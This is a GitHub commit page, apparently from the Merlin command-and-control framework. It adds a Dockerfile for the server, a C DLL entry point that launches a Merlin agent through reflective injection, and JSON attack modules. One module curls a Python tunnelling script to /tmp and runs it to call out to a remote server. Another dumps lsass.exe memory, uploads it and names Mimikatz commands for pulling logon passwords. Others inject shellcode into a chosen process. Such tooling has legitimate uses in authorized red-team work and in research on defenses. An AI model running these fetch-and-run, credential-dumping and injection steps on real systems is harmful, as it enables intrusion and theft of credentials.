-
Notifications
You must be signed in to change notification settings - Fork 812
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
35 changed files
with
3,732 additions
and
586 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,21 @@ | ||
| FROM golang:stretch | ||
| MAINTAINER @audibleblink | ||
|
|
||
| # Build the Docker image first | ||
| # > sudo docker build -t merlin . | ||
|
|
||
| # To just generate Merlin binaries, run the following and check your `src` folder for the output | ||
| # > sudo docker run --rm --mount type=bind,src=/tmp,dst=/go/src/github.com/Ne0nd0g/merlin/data/temp merlin make linux | ||
| # > ls /tmp/v0.6.4.BETA | ||
|
|
||
| # To start the Merlin Server, run | ||
| # > sudo docker run -it -p 443:443 merlin | ||
|
|
||
|
|
||
| RUN apt-get update && apt-get install -y git make | ||
| RUN go get github.com/Ne0nd0g/merlin/... | ||
|
|
||
| WORKDIR $GOPATH/src/github.com/Ne0nd0g/merlin | ||
| VOLUME ["data/temp"] | ||
| EXPOSE 443 | ||
| CMD ["go", "run", "cmd/merlinserver/main.go", "-i", "0.0.0.0"] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,7 +1,45 @@ | ||
| #include <windows.h> | ||
| #include <stdio.h> | ||
| #include "main.h" | ||
|
|
||
| int main() { | ||
| Run(); | ||
| // https://docs.microsoft.com/en-us/windows/desktop/dlls/dynamic-link-library-entry-point-function | ||
|
|
||
| BOOL WINAPI DllMain( | ||
| HINSTANCE hinstDLL, // handle to DLL module | ||
| DWORD fdwReason, // reason for calling function | ||
| LPVOID lpReserved ) // reserved | ||
| { | ||
| // Perform actions based on the reason for calling. | ||
| switch( fdwReason ) | ||
| { | ||
| case DLL_PROCESS_ATTACH: | ||
| // Initialize once for each new process. | ||
| // Return FALSE to fail DLL load. | ||
| // printf("[+] Hello from DllMain-PROCESS_ATTACH in Merlin\n"); | ||
| // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); | ||
| break; | ||
|
|
||
| case DLL_THREAD_ATTACH: | ||
| // Do thread-specific initialization. | ||
| // MessageBoxA( NULL, "Hello from DllMain-PROCESS_ATTACH in Merlin!", "Reflective Dll Injection", MB_OK ); | ||
| break; | ||
|
|
||
| case DLL_THREAD_DETACH: | ||
| // Do thread-specific cleanup. | ||
| break; | ||
|
|
||
| case DLL_PROCESS_DETACH: | ||
| // Perform any necessary cleanup. | ||
| break; | ||
| } | ||
| return TRUE; // Successful DLL_PROCESS_ATTACH. | ||
| } | ||
|
|
||
| // Magic is the exported function name that can be called from sRDI to launch a Merlin agent | ||
| // There must be a call to an exported function from cmd/merlinagentdll/main.go so that the export functions are available | ||
| // Any exported function from cmd/merlinagentdll/main.go can be called directly without the need to include it here | ||
| int Magic(char *url){ | ||
| // Run Merlin Agent | ||
| Merlin(url); | ||
| return 0; | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,30 @@ | ||
| { | ||
| "base": { | ||
| "name": "AlmondRocks", | ||
| "type": "standard", | ||
| "author": ["Kevin Lustic"], | ||
| "path": ["linux", "x64", "python", "pivoting", "arox.json"], | ||
| "platform": "linux", | ||
| "arch": "x64", | ||
| "lang": "python", | ||
| "privilege": false, | ||
| "remote": "https://gist.githubusercontent.com/klustic/14efac58264f5a3f082f8b2731b21c93/raw/459c81af93f78c8f155cbcf16e145d4be62da972/arox.py", | ||
| "options": [ | ||
| {"name": "host", "value": "", "required": true, "description":"The AlmondRocks server, specified as <IP|Domain>:<Port>"} | ||
| ], | ||
| "description": "AlmondRocks (arox) connects out to a public-facing server to tunnel SOCKSv5-wrapped comms in.", | ||
| "notes": "https://github.com/klustic/AlmondRocks", | ||
| "commands": [ | ||
| "/bin/bash", | ||
| "-c", | ||
| "\"curl -vk -Lo /tmp/arox.py https://gist.githubusercontent.com/klustic/14efac58264f5a3f082f8b2731b21c93/raw/459c81af93f78c8f155cbcf16e145d4be62da972/arox.py; /usr/bin/python /tmp/arox.py {{host}} &\";" | ||
| ] | ||
| }, | ||
| "additionalInstructions": { | ||
| "Setup": [ | ||
| "1. Download AlmondRocks server to a publicly accessible host: https://github.com/klustic/AlmondRocks", | ||
| "2. Follow the README for AlmondRocks to setup the server" | ||
| ], | ||
| "Comments": "The additionalInstructions tag is ignored by Merlin and are for user consumption only." | ||
| } | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| { | ||
| "base": { | ||
| "name": "Minidump", | ||
| "type": "extended", | ||
| "author": ["Cameron Stokes (@C__Sto)"], | ||
| "credits": [""], | ||
| "path": ["windows", "x64", "go", "credentials", "minidump.json"], | ||
| "platform": "WINDOWS", | ||
| "arch": "x64", | ||
| "lang": "Go", | ||
| "privilege": true, | ||
| "remote": "", | ||
| "local": [""], | ||
| "options": [ | ||
| {"name": "process", "value": "lsass.exe", "required": true, "flag": "", "description":"Name of the process to obtain a minidump of. If multiple processes exist with this name, it's likely the lowest PID will be used."}, | ||
| {"name": "pid", "value": "0", "required": false, "flag": "", "description":"Specific PID to dump. Will ignore process name if this value is set to anything except 0."}, | ||
| {"name": "tempLocation", "value": "", "required": false, "flag":"", "description": "A directory where the minidump temporary file will be written. The file is removed immediately after process dumping is complete. If a path is not provided, the first non-empty value from %TMP%, %TEMP%, %USERPROFILE%, or the Windows directory is used."} | ||
| ], | ||
| "description": "Calls Windows MiniDumpWriteDump API on the provided process, dumps out to a temporary file and uploads the minidump file to the Merlin server.", | ||
| "notes": "Written in native go - the only disk access is when writing out the file to the temp location. Must be elevated to run, and automatically sets the correct token privileges required to access other processes memory..\r\n\r\nUse \"sekurlsa::minidump dumpfile.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch to parse the dump file" | ||
| } | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,25 @@ | ||
| { | ||
| "base": { | ||
| "name": "sRDI", | ||
| "type": "extended", | ||
| "author": ["Russel Van Tuyl (@Ne0nd0g)"], | ||
| "credits": ["Matthew Graeber (@mattifestation)","Leo Loobeek", "Nick Landers (@monoxgas)", "Dan Staples", "Stephen Fewer"], | ||
| "path": ["windows", "x64", "go", "exec", "sRDI.json"], | ||
| "platform": "WINDOWS", | ||
| "arch": "x64", | ||
| "lang": "Go", | ||
| "privilege": false, | ||
| "remote": "", | ||
| "local": [""], | ||
| "options": [ | ||
| {"name": "dll", "value": "", "required": true, "flag": "", "description":"File path to the DLL to be conver to reflective shellcode"}, | ||
| {"name": "clearHeader", "value": "false", "required": false, "flag": "", "description":"Set to true to clear the PE header from the resulting library that will be loaded into memory"}, | ||
| {"name": "function", "value": "", "required": false, "flag":"", "description": "The name of the function to call after DllMain"}, | ||
| {"name": "args", "value": "", "required": false, "flag": "", "description": "Arguments to be passed to the called DLL function"}, | ||
| {"name": "pid", "value": "", "required": false, "flag": "", "description": "The Windows Process ID to inject the shellcode into"}, | ||
| {"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"} | ||
| ], | ||
| "description": "This module will convert the provided Windows DLL to position independent shellcode that will be reflectively loaded and executed in the target process", | ||
| "notes": "Based on the sRDI project at: https://github.com/monoxgas/sRDI" | ||
| } | ||
| } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,22 @@ | ||
| { | ||
| "base": { | ||
| "name": "shellcodeInjection", | ||
| "type": "extended", | ||
| "author": ["Russel Van Tuyl (@Ne0nd0g)"], | ||
| "credits": [], | ||
| "path": ["windows", "x64", "go", "exec", "shellcodeInjection.json"], | ||
| "platform": "WINDOWS", | ||
| "arch": "x64", | ||
| "lang": "Go", | ||
| "privilege": false, | ||
| "remote": "", | ||
| "local": [""], | ||
| "options": [ | ||
| {"name": "shellcode", "value": "", "required": true, "flag": "", "description":"Path to a raw binary file or a text file containing shellcode in either \\\\x90 OR 0x90 format"}, | ||
| {"name": "pid", "value": "", "required": false, "flag": "", "description": "The Windows Process ID to inject the shellcode into"}, | ||
| {"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"} | ||
| ], | ||
| "description": "This module will read in shellcode and execute it using the provided method. Shellcode will be injected and executed into the provided PID if the method is NOT self", | ||
| "notes": "Shellcode itself, instead of a file path, can be set for the shellcode option so long as there are no spaces" | ||
| } | ||
| } |
This file was deleted.
Oops, something went wrong.
Oops, something went wrong.